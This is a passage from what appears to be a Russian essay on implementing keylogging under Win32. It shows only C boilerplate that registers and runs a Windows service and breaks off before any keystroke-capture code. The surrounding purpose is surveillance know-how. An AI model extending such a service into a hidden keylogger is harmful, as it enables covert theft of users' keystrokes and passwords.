Реферат: Реализация keylogging под WIN32
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
SERVICE_TABLE_ENTRY DispatchTable[] = {{"MyService", MyServiceStart},
{NULL, NULL}};
//Вызываем точку входа сервиса
StartServiceCtrlDispatcher(DispatchTable);
}
void WINAPI MyServiceStart(DWORD, LPTSTR *)
{
SERVICE_STATUS MyServiceStatus = {0};
MyServiceStatus.dwServiceType = SERVICE_WIN32;
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
//Регистрируем обработчик событий сервиса
MyServiceStatusHandle = RegisterServiceCtrlHandler("MyService",
MyServiceCtrlHandler);
SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
ServiceWorkFunction();
}
void WINAPI MyServiceCtrlHandler(DWORD)
{
SERVICE_STATUS MyServiceStatus = {0};
MyServiceStatus.dwServiceType = SERVICE_WIN32;
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
}
void ServiceWorkFunction()
{
HWINSTA hWS;